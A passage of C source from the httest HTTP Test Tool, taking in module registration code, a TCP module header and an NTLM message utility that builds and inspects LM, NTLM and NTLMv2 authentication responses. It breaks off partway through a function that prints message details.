HTTP Test Tool simple appender */ #ifndef HTTEST_APPENDER_SIMPLE_H #define HTTEST_APPENDER_SIMPLE_H #include "appender.h" appender_t *appender_simple_new(apr_pool_t *pool, apr_file_t *out); #endif httest-2.4.8/src/module.c0000664000175100017510000000732612205174226012216 00000000000000/** * Copyright 2010 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Tool module. */ /************************************************************************ * Includes ***********************************************************************/ #ifdef HAVE_CONFIG_H #include #endif #include #include #include #include #include #include #include #include #include #include #include #include #if APR_HAVE_UNISTD_H #include /* for getpid() */ #endif #include "defines.h" #include "util.h" #include "regex.h" #include "file.h" #include "socket.h" #include "worker.h" #include "module.h" /************************************************************************ * Definitions ***********************************************************************/ /************************************************************************ * Globals ***********************************************************************/ /************************************************************************ * Implementation ***********************************************************************/ /** * Register new module command * * @param global IN global struct * @param module IN module name * @param command IN command name * @param short_desc IN short description * @param desc IN description * @param function IN function handle * * @return APR_SUCCESS or apr error */ apr_status_t module_command_new(global_t *global, const char *module, const char *command, const char *short_desc, const char *desc, interpret_f function) { worker_t *worker; apr_hash_t *blocks; worker_new(&worker, "", global, function); /* descriptions */ worker->short_desc = short_desc; worker->desc = desc; worker->lines = NULL; if (!(blocks = apr_hash_get(global->modules, module, APR_HASH_KEY_STRING))) { blocks = apr_hash_make(global->pool); apr_hash_set(global->modules, module, APR_HASH_KEY_STRING, blocks); } /* add workers to commands hash */ apr_hash_set(blocks, command, APR_HASH_KEY_STRING, worker); return APR_SUCCESS; } /** * Get a value from config * * @param config IN config * @param module IN unique module pointer * * @return stored pointer */ void * module_get_config(apr_hash_t *config, const char *module) { return apr_hash_get(config, module, APR_HASH_KEY_STRING); } /** * Set a value into config * * @param config IN config * @param module IN unique module pointer * @param data IN data to store for this module */ void module_set_config(apr_hash_t *config, const char *module, void *data) { apr_hash_set(config, module, APR_HASH_KEY_STRING, data); } apr_status_t module_check_global(worker_t *worker) { if (strcmp(worker->name, "__htt_global__") == 0) { return APR_SUCCESS; } else { worker_log(worker, LOG_ERR, "This command can be used only in global context"); return APR_EINVAL; } } httest-2.4.8/src/tcp_module.h0000664000175100017510000000175312141535454013072 00000000000000/** * Copyright 2010 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Interface of the HTTP Test Tool tcp module. */ #ifndef HTTEST_TCP_MODULE_H #define HTTEST_TCP_MODULE_H apr_status_t tcp_listen(worker_t *worker, int backlog); apr_status_t tcp_connect(worker_t *worker, char *hostname, char *portname); apr_status_t tcp_accept(worker_t *worker); apr_status_t tcp_close(worker_t *worker); #endif httest-2.4.8/src/htntlm.c0000664000175100017510000013752312203674076012250 00000000000000/** * Copyright 2006 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test NTLM. * based on this documentation: http://davenport.sourceforge.net/ntlm.html */ /* affects include files on Solaris */ #define BSD_COMP /************************************************************************ * Includes ***********************************************************************/ #ifdef HAVE_CONFIG_H #include #endif #if HAVE_STDLIB_H #include #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "defines.h" #include "util.h" /************************************************************************ * Defines ***********************************************************************/ #define HTNTLM_NEGOTIATE_UNICODE 0x00000001 #define HTNTLM_NEGOTIATE_OEM 0x00000002 #define HTNTLM_REQUEST_TARGET 0x00000004 /* unknown 0x00000008 */ #define HTNTLM_NEGOTIATE_SIGN 0x00000010 #define HTNTLM_NEGOTIATE_SEAL 0x00000020 #define HTNTLM_NEGOTIATE_DATAGRAM_STYLE 0x00000040 #define HTNTLM_NEGOTIATE_LM_KEY 0x00000080 #define HTNTLM_NEGOTIATE_NETWARE 0x00000100 #define HTNTLM_NEGOTIATE_NTLM_KEY 0x00000200 /* unknown 0x00000400 */ #define HTNTLM_NEGOTIATE_ANONYMOUS 0x00000800 #define HTNTLM_NEGOTIATE_DOMAIN_SUPPLIED 0x00001000 #define HTNTLM_NEGOTIATE_WORKSTATION_SUPPLIED 0x00002000 #define HTNTLM_NEGOTIATE_LOCAL_CALL 0x00004000 #define HTNTLM_NEGOTIATE_ALWAYS_SIGN 0x00008000 #define HTNTLM_TARGET_TYPE_DOMAIN 0x00010000 #define HTNTLM_TARGET_TYPE_SERVER 0x00020000 #define HTNTLM_TARGET_TYPE_SHARE 0x00040000 #define HTNTLM_NEGOTIATE_NTLM2_KEY 0x00080000 #define HTNTLM_REQUEST_INIT_RESPONSE 0x00100000 #define HTNTLM_REQUEST_ACCEPT_RESPONSE 0x00200000 #define HTNTLM_REQUEST_NONNT_SESSION_KEY 0x00400000 #define HTNTLM_NEGOTIATE_TARGET_INFO 0x00800000 /* unknown 0x01000000 */ /* unknown 0x02000000 */ /* unknown 0x04000000 */ /* unknown 0x08000000 */ /* unknown 0x10000000 */ #define HTNTLM_NEGOTIATE_128 0x20000000 #define HTNTLM_NEGOTIATE_KEY_EXCHANGE 0x40000000 #define HTNTLM_NEGOTIATE_56 0x80000000 #define HTNTLM_STR_NEG_UNICODE "neg-unicode" #define HTNTLM_STR_NEG_OEM "neg-oem" #define HTNTLM_STR_REQ_TARGET "req-target" #define HTNTLM_STR_NEG_SIGN "neg-sign" #define HTNTLM_STR_NEG_SEAL "neg-seal" #define HTNTLM_STR_NEG_DATAGRAM_STYLE "neg-datagram-style" #define HTNTLM_STR_NEG_LM_KEY "neg-lm-key" #define HTNTLM_STR_NEG_NETWARE "neg-netware" #define HTNTLM_STR_NEG_NTLM_KEY "neg-ntlm-key" #define HTNTLM_STR_NEG_ANONYMOUS "neg-anonymous" #define HTNTLM_STR_NEG_DOMAIN_SUPP "neg-domain-supp" #define HTNTLM_STR_NEG_WORKSTATION_SUPP "neg-workstation-supp" #define HTNTLM_STR_NEG_LOCAL_CALL "neg-local-call" #define HTNTLM_STR_NEG_ALWAYS_SIGN "neg-always_sign" #define HTNTLM_STR_TARGET_TYPE_DOMAIN "target-type-domain" #define HTNTLM_STR_TARGET_TYPE_SERVER "target-type-server" #define HTNTLM_STR_TARGET_TYPE_SHARE "target-type-share" #define HTNTLM_STR_NEG_NTLM2_KEY "neg-ntlm2-key" #define HTNTLM_STR_REQ_INIT_RES "req-init-res" #define HTNTLM_STR_REQ_ACCEPT_RES "req-accept-res" #define HTNTLM_STR_REQ_NONNT_SESSION_KEY "req-nonnt-session-key" #define HTNTLM_STR_NEG_TARGET_INFO "neg-target-info" #define HTNTLM_STR_NEG_128 "neg-128" #define HTNTLM_STR_NEG_KEY_EXCHANGE "neg-key-exchange" #define HTNTLM_STR_NEG_56 "neg-56" #define HTNTLM_SUBBLK_SERVER_NAME 1 #define HTNTLM_SUBBLK_DOMAIN_NAME 2 #define HTNTLM_SUBBLK_DNS_SERVER 3 #define HTNTLM_SUBBLK_DNS_DOMAIN 4 #define HTNTLM_RESP_NONE 0x00 #define HTNTLM_RESP_LM 0x01 #define HTNTLM_RESP_NTLM 0x02 #define HTNTLM_RESP_LM2 0x04 #define HTNTLM_RESP_NTLM2 0x08 #define HTNTLM_RESP_NTLM2_SESS 0x10 #define HTNTLM_STR_RESP_LM "lm" #define HTNTLM_STR_RESP_NTLM "ntlm" #define HTNTLM_STR_RESP_LM2 "lm2" #define HTNTLM_STR_RESP_NTLM2 "ntlm2" #define HTNTLM_STR_RESP_NTLM2_SESS "ntlm2-session" #ifdef WIN32 #define FMT_LLX "%I64x" #else #define FMT_LLX "%"APR_UINT64_T_HEX_FMT #endif /************************************************************************ * Structurs ***********************************************************************/ typedef struct htntlm_flags_map_s { int flag; char *name; } htntlm_flags_map_t; typedef struct htntlm_os_s { int major; int minor; int maint; } htntlm_os_t; typedef struct htntlm_hash_s { unsigned char *hash; uint16_t len; } htntlm_hash_t; typedef struct htntlm_s { apr_pool_t *pool; #define HTNTLM_FUNC_FLAGS_NONE 0 #define HTNTLM_FUNC_FLAGS_UNICODE 1 #define HTNTLM_FUNC_FLAGS_DEBUG 2 int func_flags; apr_file_t *out; char *exception; uint32_t type; const char *domain; const char *workstation; const char *server; htntlm_os_t os; const char *target; const char *dns_domain; const char *dns_server; const char *user; const char *password; uint64_t challenge; uint64_t client_challenge; uint64_t context; const char *session_key; htntlm_hash_t lm; htntlm_hash_t ntlm; const char *target_info; uint32_t flags; uint32_t resp; } htntlm_t; /************************************************************************ * Globals ***********************************************************************/ char *lm_magic = "KGS!@#$%"; htntlm_flags_map_t flags_map[] = { { HTNTLM_NEGOTIATE_UNICODE, HTNTLM_STR_NEG_UNICODE }, { HTNTLM_NEGOTIATE_OEM, HTNTLM_STR_NEG_OEM }, { HTNTLM_REQUEST_TARGET, HTNTLM_STR_REQ_TARGET }, { HTNTLM_NEGOTIATE_SIGN, HTNTLM_STR_NEG_SIGN }, { HTNTLM_NEGOTIATE_SEAL, HTNTLM_STR_NEG_SEAL }, { HTNTLM_NEGOTIATE_DATAGRAM_STYLE, HTNTLM_STR_NEG_DATAGRAM_STYLE }, { HTNTLM_NEGOTIATE_LM_KEY, HTNTLM_STR_NEG_LM_KEY }, { HTNTLM_NEGOTIATE_NETWARE, HTNTLM_STR_NEG_NETWARE }, { HTNTLM_NEGOTIATE_NTLM_KEY, HTNTLM_STR_NEG_NTLM_KEY }, { HTNTLM_NEGOTIATE_ANONYMOUS, HTNTLM_STR_NEG_ANONYMOUS }, { HTNTLM_NEGOTIATE_DOMAIN_SUPPLIED, HTNTLM_STR_NEG_DOMAIN_SUPP }, { HTNTLM_NEGOTIATE_WORKSTATION_SUPPLIED, HTNTLM_STR_NEG_WORKSTATION_SUPP }, { HTNTLM_NEGOTIATE_LOCAL_CALL, HTNTLM_STR_NEG_LOCAL_CALL }, { HTNTLM_NEGOTIATE_ALWAYS_SIGN, HTNTLM_STR_NEG_ALWAYS_SIGN }, { HTNTLM_TARGET_TYPE_DOMAIN, HTNTLM_STR_TARGET_TYPE_DOMAIN }, { HTNTLM_TARGET_TYPE_SERVER, HTNTLM_STR_TARGET_TYPE_SERVER }, { HTNTLM_TARGET_TYPE_SHARE, HTNTLM_STR_TARGET_TYPE_SHARE }, { HTNTLM_NEGOTIATE_NTLM2_KEY, HTNTLM_STR_NEG_NTLM2_KEY }, { HTNTLM_REQUEST_INIT_RESPONSE, HTNTLM_STR_REQ_INIT_RES }, { HTNTLM_REQUEST_ACCEPT_RESPONSE, HTNTLM_STR_REQ_ACCEPT_RES }, { HTNTLM_REQUEST_NONNT_SESSION_KEY, HTNTLM_STR_REQ_NONNT_SESSION_KEY }, { HTNTLM_NEGOTIATE_TARGET_INFO, HTNTLM_STR_NEG_TARGET_INFO }, { HTNTLM_NEGOTIATE_128, HTNTLM_STR_NEG_128 }, { HTNTLM_NEGOTIATE_KEY_EXCHANGE, HTNTLM_STR_NEG_KEY_EXCHANGE }, { HTNTLM_NEGOTIATE_56, HTNTLM_STR_NEG_56 }, { 0, NULL } }; htntlm_flags_map_t resp_flags_map[] = { { HTNTLM_RESP_LM, HTNTLM_STR_RESP_LM }, { HTNTLM_RESP_NTLM, HTNTLM_STR_RESP_NTLM }, { HTNTLM_RESP_LM2, HTNTLM_STR_RESP_LM2 }, { HTNTLM_RESP_NTLM2, HTNTLM_STR_RESP_NTLM2 }, { HTNTLM_RESP_NTLM2_SESS, HTNTLM_STR_RESP_NTLM2_SESS }, { 0, NULL } }; apr_getopt_option_t options[] = { { "version", 'v', 0, "Print version number and exit" }, { "help", 'h', 0, "Display usage information (this message)" }, { "read", 'r', 1, "read a NTLM base64 encoded message" }, { "write", 'w', 0, "write a NTLM base64 encoded message" }, { "info", 'i', 0, "print in a readable manner" }, { "debug", 'd', 0, "print debug information" }, { "type", 't', 1, "NTLM message type 1, 2 or 3" }, { "domain", 'D', 1, "Domain name" }, { "workstation", 'W', 1, "Workstation name" }, { "server", 'E', 1, "Workstation name" }, { "os-version", 'O', 1, "OS Version major.minor.build" }, { "target", 'T', 1, "Target name" }, { "dns-domain", 'N', 1, "DNS domain name" }, { "dns-server", 'S', 1, "DNS server name" }, { "target-info", 'a', 1, "Target info as provided in NTLM type 2 message base64 encoded, need for NTLMv2" }, { "user", 'U', 1, "User name" }, { "password", 'P', 1, "password" }, { "challenge", 'C', 1, "Challenge in hex notation" }, { "client-challenge", 'c', 1, "Client challenge in hex notation, default is a random" }, { "context", 'X', 1, "Context in hex notation" }, { "session-key", 'K', 1, "Session Key" }, { "response", 'R', 1, "response type space separated: lm ntlm lm2 ntlm2 ntlm2-session" }, { "unicode", 'u', 0, "transmit user, workstation, ... as unicode strings" }, { "flags", 'f', 1, "Space separated NTLM flags\n" HTNTLM_STR_NEG_UNICODE":\n" " Indicates that Unicode strings are\n" " supported for use in security buffer\n" " data.\n" HTNTLM_STR_NEG_OEM":\n" " Indicates that OEM strings are supported\n" " for use in security buffer data.\n" HTNTLM_STR_REQ_TARGET":\n" " Requests that the server's authentication\n" " realm be included in the Type 2 message.\n" HTNTLM_STR_NEG_SIGN":\n" " Specifies that authenticated communication\n" " between the client and server should carry\n" " a digital signature (message integrity).\n" HTNTLM_STR_NEG_SEAL":\n" " Specifies that authenticated communication\n" " between the client and server should be\n" " encrypted (message confidentiality).\n" HTNTLM_STR_NEG_DATAGRAM_STYLE":\n" " Indicates that datagram authentication is\n" " being used.\n" HTNTLM_STR_NEG_LM_KEY":\n" " Indicates that the Lan Manager Session Key\n" " should be used for signing and sealing\n" " authenticated communications.\n" HTNTLM_STR_NEG_NETWARE":\n" " This flag's usage has not been identified.\n" HTNTLM_STR_NEG_NTLM_KEY":\n" " Indicates that NTLM authentication is\n" " being used.\n" HTNTLM_STR_NEG_ANONYMOUS":\n" " Sent by the client in the Type 3 message\n" " to indicate that an anonymous context has\n" " been established. This also affects the\n" " response fields.\n" HTNTLM_STR_NEG_DOMAIN_SUPP":\n" " Sent by the client in the Type 1 message\n" " to indicate that the name of the domain in\n" " which the client workstation has\n" " membership is included in the message.\n" " This is used by the server to determine\n" " whether the client is eligible for local\n" " authentication.\n" HTNTLM_STR_NEG_WORKSTATION_SUPP":\n" " Sent by the client in the Type 1 message\n" " to indicate that the client workstation's\n" " name is included in the message. This is\n" " used by the server to determine whether\n" " the client is eligible for local\n" " authentication.\n" HTNTLM_STR_NEG_LOCAL_CALL":\n" " Sent by the server to indicate that the\n" " server and client are on the same machine.\n" " Implies that the client may use the\n" " established local credentials for\n" " authentication instead of calculating a\n" " response to the challenge.\n" HTNTLM_STR_NEG_ALWAYS_SIGN":\n" " Indicates that authenticated\n" " communication between the client and\n" " server should be signed with a \"dummy\"\n" " signature. \n" HTNTLM_STR_TARGET_TYPE_DOMAIN":\n" " Sent by the server in the Type 2 message\n" " to indicate that the target authentication\n" " realm is a domain. \n" HTNTLM_STR_TARGET_TYPE_SERVER":\n" " Sent by the server in the Type 2 message\n" " to indicate that the target authentication\n" " realm is a server. \n" HTNTLM_STR_TARGET_TYPE_SHARE":\n" " Sent by the server in the Type 2 message\n" " to indicate that the target\n" " authentication realm is a share.\n" " Presumably, this is for share-level\n" " authentication. Usage is unclear.\n" HTNTLM_STR_NEG_NTLM2_KEY":\n" " Indicates that the NTLM2 signing and\n" " sealing scheme should be used for\n" " protecting authenticated communications.\n" " Note that this refers to a particular\n" " session security scheme, and is not\n" " related to the use of NTLMv2\n" " authentication. This flag can, however,\n" " have an effect on the response\n" " calculations\n" HTNTLM_STR_REQ_INIT_RES":\n" " This flag's usage has not been identified\n" HTNTLM_STR_REQ_ACCEPT_RES":\n" " This flag's usage has not been identified\n" HTNTLM_STR_REQ_NONNT_SESSION_KEY":\n" " This flag's usage has not been identified\n" HTNTLM_STR_NEG_TARGET_INFO":\n" " Sent by the server in the Type 2 message\n" " to indicate that it is including a Target\n" " Information block in the message. The\n" " Target Information block is used in the\n" " calculation of the NTLMv2 response.\n" HTNTLM_STR_NEG_128":\n" " Indicates that 128-bit encryption is\n" " supported.\n" HTNTLM_STR_NEG_KEY_EXCHANGE":\n" " Indicates that the client will provide an\n" " encrypted master key in the\n" " \"Session Key\" field of the Type 3\n" " message.\n" HTNTLM_STR_NEG_56":\n" " Indicates that 56-bit encryption is\n" " supported.\n" }, { NULL, 0, 0, NULL } }; /************************************************************************ * Private ***********************************************************************/ /** * Dump memory * * @param hook IN htntlm hook * @param mem IN memory to dump * @param len IN no bytes to dump */ void dump_mem(htntlm_t *hook, const unsigned char *mem, apr_size_t len) { int i; for (i = 0; i < len; i++) { apr_file_printf(hook->out, "%02x", mem[i]); } } /** * Copy src as a unicode string to dst * * @param pool IN pool * @param dst OUT unicode string * @param src IN null terminated string * * @return len of dst without null termination * * @note: do also null terminate */ static apr_size_t to_unicode(apr_pool_t *pool, char **dst, const char *src) { apr_size_t len; int i; if (!src) { src = apr_pstrdup(pool, ""); } len = strlen(src); if (dst) { (*dst) = apr_pcalloc(pool, 2 * len + 2); for (i = 0; i < len; i++) { (*dst)[2 * i] = src[i]; (*dst)[2 * i + 1] = 0; } } return 2 * len; } /** * From unicode to 8-bit chars (info loss ist possible). * * @param pool IN pool * @param dst OUT 8-bit chars string null-terminated * @param src IN unicode string * @param len IN unicode string len * * @return dst string len */ static char *from_unicode(apr_pool_t *pool, const char *src, apr_size_t len) { int i, j; char *dst; dst = apr_pcalloc(pool, len / 2 + 1); for (i = 0, j = 0; i < len; i += 2, j++) { dst[j] = src[i]; } dst[j] = 0; return dst; } /** * to unicode if requested * * @param hook IN htntlm hook * @param dst OUT unicode or oem * @param src IN oem string */ static apr_size_t handle_unicode(htntlm_t *hook, char **dst, const char *src) { if (hook->func_flags & HTNTLM_FUNC_FLAGS_UNICODE) { return to_unicode(hook->pool, dst, src); } else { if (dst) { *dst = apr_pstrdup(hook->pool, src); } return strlen(src); } } /** * to oem if unicoded string * * @param hook IN htntlm hook * @param dst OUT unicode or oem * @param src IN oem string */ static char *handle_oem(htntlm_t *hook, const char *src, apr_size_t len) { char *dst; if (hook->func_flags & HTNTLM_FUNC_FLAGS_UNICODE) { return from_unicode(hook->pool, src, len); } else { dst = apr_pcalloc(hook->pool, len + 1); memcpy(dst, src, len); return dst; } } static void usage_format_desc(apr_pool_t *pool, const char *desc) { char *last; char *val; char *copy; if (desc == NULL) { return; } copy = apr_pstrdup(pool, desc); val = apr_strtok(copy, "\n", &last); fprintf(stdout, "%s", val); val = apr_strtok(NULL, "\n", &last); while (val) { fprintf(stdout, "\n %s", val); val = apr_strtok(NULL, "\n", &last); } } /** * display usage information * * @progname IN name of the programm */ static void usage(apr_pool_t *pool, const char *progname) { int i = 0; fprintf(stdout, "%s is used to read, generate and inspect NTLM messages.\n", progname); fprintf(stdout, "\nUsage: %s [OPTIONS]", progname); fprintf(stdout, "\nOptions:"); while (options[i].optch) { if (options[i].optch <= 255) { fprintf(stdout, "\n -%c --%-15s", options[i].optch, options[i].name); usage_format_desc(pool, options[i].description); } else { fprintf(stdout, "\n --%-15s", options[i].name); } i++; } fprintf(stdout, "\n"); exit(EINVAL); } /** * Copy to uppercase string * * @param pool IN pool * @param str IN string to copy * * @return upper case string */ static char * str_copy_to_upper(apr_pool_t *pool, const char *str) { int i = 0; char *tmp = apr_pstrdup(pool, str); while (tmp[i]) { tmp[i] = apr_toupper(tmp[i]); ++i; } return tmp; } /** * Copy n to uppercase string an null pad if strlen(str) is smaller than n * * @param pool IN pool * @param str IN string to copy * @param n IN resulting string length null pad if required * * @return upper case string */ static unsigned char * strn_copy_to_upper(apr_pool_t *pool, const char *str, apr_size_t n) { int i = 0; unsigned char *tmp = apr_pcalloc(pool, n + 1); while (str && str[i] && i < n) { tmp[i] = apr_toupper(str[i]); ++i; } return tmp; } /** * create a DES key * * @param src IN 7 bytes for des key */ static DES_key_schedule *create_des_key(htntlm_t *hook, unsigned char *src) { DES_cblock key; DES_key_schedule *key_sched = apr_pcalloc(hook->pool, sizeof(*key_sched)); key[0] = src[0]; key[1] = ((src[0] << 7) & 0xff) | (src[1] >> 1); key[2] = ((src[1] << 6) & 0xff) | (src[2] >> 2); key[3] = ((src[2] << 5) & 0xff) | (src[3] >> 3); key[4] = ((src[3] << 4) & 0xff) | (src[4] >> 4); key[5] = ((src[4] << 3) & 0xff) | (src[5] >> 5); key[6] = ((src[5] << 2) & 0xff) | (src[6] >> 6); key[7] = (src[6] << 1) & 0xff; DES_set_odd_parity(&key); DES_set_key(&key, key_sched); return key_sched; } /** * create a 24 byte hash with the 21 byte key (DES) * * @param hook IN htntlm hook * @param key IN 21 byte key * * @return 24 byte hash */ static unsigned char *get_hash(htntlm_t *hook, unsigned char *key24, DES_cblock *data) { DES_key_schedule *key_sched; unsigned char *hash = apr_pcalloc(hook->pool, 24); /* check if there is a challenge, else error */ key_sched = create_des_key(hook, key24); DES_ecb_encrypt(data, (DES_cblock *)hash, key_sched, DES_ENCRYPT); key_sched = create_des_key(hook, &key24[7]); DES_ecb_encrypt(data, (DES_cblock *)&hash[8], key_sched, DES_ENCRYPT); key_sched = create_des_key(hook, &key24[14]); DES_ecb_encrypt(data, (DES_cblock *)&hash[16], key_sched, DES_ENCRYPT); return hash; } /** * Create lm hash out of the values stored in hook * * @param hook IN htntlm hook * * @return lm hash (24 bytes) */ static unsigned char * get_lm_hash(htntlm_t *hook) { unsigned char *passwd; DES_key_schedule *key_sched; unsigned char lmbuffer[21]; uint64_t chl = ntlm_hton64(hook->challenge); passwd = strn_copy_to_upper(hook->pool, hook->password, 14); memset(lmbuffer, 0, 21); key_sched = create_des_key(hook, passwd); DES_ecb_encrypt((DES_cblock *)lm_magic, (DES_cblock *)lmbuffer, key_sched, DES_ENCRYPT); key_sched = create_des_key(hook, &passwd[7]); DES_ecb_encrypt((DES_cblock *)lm_magic, (DES_cblock *)&lmbuffer[8], key_sched, DES_ENCRYPT); memset(passwd, 0, 14); return get_hash(hook, lmbuffer, (DES_cblock *)&chl); } /** * Create ntlm hash out of the values stored in hook * * @param hook IN htntlm hook * * @return ntlm hash (24 bytes) */ static unsigned char * get_ntlm_hash(htntlm_t *hook) { MD4_CTX MD4; unsigned char ntlmbuffer[21]; char *passwd; apr_size_t len; uint64_t chl = ntlm_hton64(hook->challenge); /* transform to unicode password */ len = to_unicode(hook->pool, &passwd, hook->password); MD4_Init(&MD4); MD4_Update(&MD4, passwd, len); MD4_Final(ntlmbuffer, &MD4); memset(&ntlmbuffer[16], 0, 5); return get_hash(hook, ntlmbuffer, (DES_cblock *)&chl); } /** * Create lm2 hash out of the values stored in hook * * @param hook IN htntlm hook * * @return lmv2 hash */ static unsigned char * get_lm2_hash(htntlm_t *hook, uint16_t *hash_len) { unsigned char ntlm_hash[16]; unsigned char ntlm2_hash[16]; unsigned char *lm2_hash; const EVP_MD *md5 = EVP_md5(); MD4_CTX MD4; char *passwd; unsigned int len; char *uuser; apr_size_t uuser_len; char *udomain; apr_size_t udomain_len; unsigned char *buf; HMAC_CTX hmac; unsigned char challenges[16]; uint64_t chl = ntlm_hton64(hook->challenge); /* 1. get ntlm hash */ len = to_unicode(hook->pool, &passwd, hook->password); MD4_Init(&MD4); MD4_Update(&MD4, passwd, len); MD4_Final(ntlm_hash, &MD4); /* 2. concatonate unicoded username with unicoded domain or server name */ uuser_len = to_unicode(hook->pool, &uuser, hook->user); if (hook->domain) { udomain_len = to_unicode(hook->pool, &udomain, hook->domain); } else { udomain_len = to_unicode(hook->pool, &udomain, hook->server); } buf = apr_pcalloc(hook->pool, uuser_len + udomain_len); memcpy(buf, uuser, uuser_len); memcpy(&buf[uuser_len], udomain, udomain_len); HMAC_CTX_init(&hmac); HMAC_Init_ex(&hmac, ntlm_hash, 16, md5, NULL); HMAC_Update(&hmac, buf, uuser_len + udomain_len); len = 16; HMAC_Final(&hmac, ntlm2_hash, &len); /* 3. client challenge */ /* 4. concat challenge wiht client challenge and hmac with key ntlm2_hash */ lm2_hash = apr_pcalloc(hook->pool, 24); memcpy(challenges, &chl, 8); memcpy(&challenges[8], &hook->client_challenge, 8); HMAC_CTX_init(&hmac); HMAC_Init_ex(&hmac, ntlm2_hash, 16, md5, NULL); HMAC_Update(&hmac, challenges, 16); len = 16; HMAC_Final(&hmac, lm2_hash, &len); memcpy(&lm2_hash[16], &hook->client_challenge, 8); *hash_len = 24; return lm2_hash; } /** * Create ntlm2 hash out of the values stored in hook * * @param hook IN htntlm hook * * @return ntlmv2 hash */ static unsigned char * get_ntlm2_hash(htntlm_t *hook, uint16_t *hash_len) { char *uuser; char *udomain; unsigned char *part; apr_size_t uuser_len; apr_size_t udomain_len; const EVP_MD *md5 = EVP_md5(); HMAC_CTX hmac; unsigned char ntlm_hash[16]; unsigned char ntlm2_hash[16]; unsigned char blob_hash[16]; unsigned int len; unsigned char *blob; unsigned char *buf; unsigned char *target_info = NULL; apr_size_t ti_len = 0; MD4_CTX MD4; char *passwd; uint64_t chl = ntlm_hton64(hook->challenge); if (hook->target_info) { int b64len = apr_base64_decode_len(hook->target_info); target_info = apr_pcalloc(hook->pool, b64len); ti_len = apr_base64_decode_binary(target_info, hook->target_info); } /* 1. get ntlm hash */ len = to_unicode(hook->pool, &passwd, hook->password); MD4_Init(&MD4); MD4_Update(&MD4, passwd, len); MD4_Final(ntlm_hash, &MD4); /* 2. concat unicoded username and domain name and do a hmac md5 with ntlm_hash as key*/ uuser_len = to_unicode(hook->pool, &uuser, hook->user); udomain_len = to_unicode(hook->pool, &udomain, hook->domain); part = apr_pcalloc(hook->pool, uuser_len + udomain_len); memcpy(part, uuser, uuser_len); memcpy(&part[uuser_len], udomain, udomain_len); HMAC_CTX_init(&hmac); HMAC_Init_ex(&hmac, ntlm_hash, 16, md5, NULL); HMAC_Update(&hmac, part, uuser_len + udomain_len); len = 16; HMAC_Final(&hmac, ntlm2_hash, &len); /* 3. blob */ blob = apr_pcalloc(hook->pool, 28 + ti_len + 4); *((uint32_t *)&blob[0]) = ntlm_hton32(0x00000101); *((uint32_t *)&blob[4]) = ntlm_hton32(0x00000000); #if defined(WIN32) *((uint64_t *)&blob[8]) = ntlm_hton64((apr_time_sec(apr_time_now()) + (unsigned __int64)11644473600) * (unsigned __int64)10000000); #else *((uint64_t *)&blob[8]) = ntlm_hton64((apr_time_sec(apr_time_now()) + 11644473600LLU) * 10000000LLU); #endif if (hook->client_challenge) { memcpy(&blob[16], &hook->client_challenge, 8); } if (target_info) { memcpy(&blob[28], target_info, ti_len); } /* 4. catonate challenge to blob and do a hmac md5 with ntlm2_hash as key */ buf = apr_pcalloc(hook->pool, 16 + 28 + ti_len + 4); if (chl) { memcpy(buf, &chl, 8); } memcpy(&buf[8], blob, 28 + ti_len + 4); HMAC_CTX_init(&hmac); HMAC_Init_ex(&hmac, ntlm2_hash, 16, md5, NULL); HMAC_Update(&hmac, buf, 8 + 28 + ti_len + 4); len = 16; HMAC_Final(&hmac, blob_hash, &len); /* 5. this value concat with the blob */ memcpy(buf, blob_hash, 16); memcpy(&buf[16], blob, 28 + ti_len + 4); *hash_len = 16 + 28 + ti_len + 4; return buf; } /** * Create ntlm2 session out of the values stored in hook * * @param hook IN htntlm hook * * @return ntlm2 session */ static unsigned char * get_ntlm2_sess(htntlm_t *hook, uint16_t *hash_len) { char challenges[16]; unsigned char ntlm2_hash[16]; unsigned char ntlm_hash[21]; MD4_CTX MD4; MD5_CTX MD5; char *passwd; apr_size_t len; uint64_t chl = ntlm_hton64(hook->challenge); /* 3. challenge and client challenge */ memcpy(challenges, &chl, 8); memcpy(&challenges[8], &hook->client_challenge, 8); /* 4. md5 of challenges */ MD5_Init(&MD5); MD5_Update(&MD5, challenges, 16); MD5_Final(ntlm2_hash, &MD5); /* 6. get ntlm hash */ len = to_unicode(hook->pool, &passwd, hook->password); MD4_Init(&MD4); MD4_Update(&MD4, passwd, len); MD4_Final(ntlm_hash, &MD4); /* 7. ntlm has is null padded up to 21 bytes */ memset(&ntlm_hash[16], 0, 5); *hash_len = 24; return get_hash(hook, ntlm_hash, (DES_cblock *)ntlm2_hash); } /** * Print ntlm message in a readable manner * * @param hook IN htntlm hook */ static void print_info(htntlm_t *hook) { int i = 0; if (hook->type == 0) { apr_file_printf(hook->out, "message-type: undef\n"); } else if (hook->type > 0 && hook->type <= 3) { apr_file_printf(hook->out, "message-type: %d\n", hook->type); } else { apr_file_printf(hook->out, "message-type: malformed\n"); } if (hook->flags) { apr_file_printf(hook->out, "flags: "); while (flags_map[i].name) { if (hook->flags & flags_map[i].flag) { apr_file_printf(hook->out, "%s ", flags_map[i].name); } ++i; } apr_file_printf(hook->out, "\n"); } if (hook->domain) { apr_file_printf(hook->out, "domain: %s\n", hook->domain); } if (hook->workstation) { apr_file_printf(hook->out, "workstation: %s\n", hook->workstation); } if (hook->target) { apr_file_printf(hook->out, "target: %s\n", hook->target); } if (hook->server) { apr_file_printf(hook->out, "server: %s\n", 